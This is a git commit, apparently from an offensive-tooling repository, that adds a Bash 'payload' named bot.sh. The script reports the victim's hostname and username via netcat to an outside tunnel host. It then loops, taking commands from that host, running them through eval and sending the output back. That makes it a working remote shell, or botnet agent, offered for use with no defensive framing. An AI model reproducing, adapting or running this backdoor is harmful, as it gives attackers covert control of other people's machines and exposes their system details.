add payload for sh/nc

This commit is contained in:
syn 2024-12-28 00:29:00 +07:00
parent 5594fd6780
commit 7ce87d2ae5

28
payload/bot.sh Normal file
View File

@ -0,0 +1,28 @@
#!/bin/bash
#for nc
SERVER_HOST="jabarzad-34105.portmap.io"
SERVER_PORT=34105
BOT_NAME=$(hostname)
while true; do
# Kirimkan informasi awal ke server
echo "${BOT_NAME}|$(whoami)|$(id -u -n)" | nc $SERVER_HOST $SERVER_PORT
if [ $? -eq 0 ]; then
# Masuk ke mode interaktif untuk menerima perintah
while read -r command; do
if [ "$command" = "exit" ]; then
break
fi
# Jalankan perintah dan kirim output kembali
output=$(eval "$command" 2>&1)
if [ -z "$output" ]; then
output="Command executed with no output."
fi
echo "$output" | nc $SERVER_HOST $SERVER_PORT
done < <(nc -l $SERVER_HOST $SERVER_PORT)
else
echo "Failed to connect to $SERVER_HOST:$SERVER_PORT. Retrying..."
sleep 5
fi
done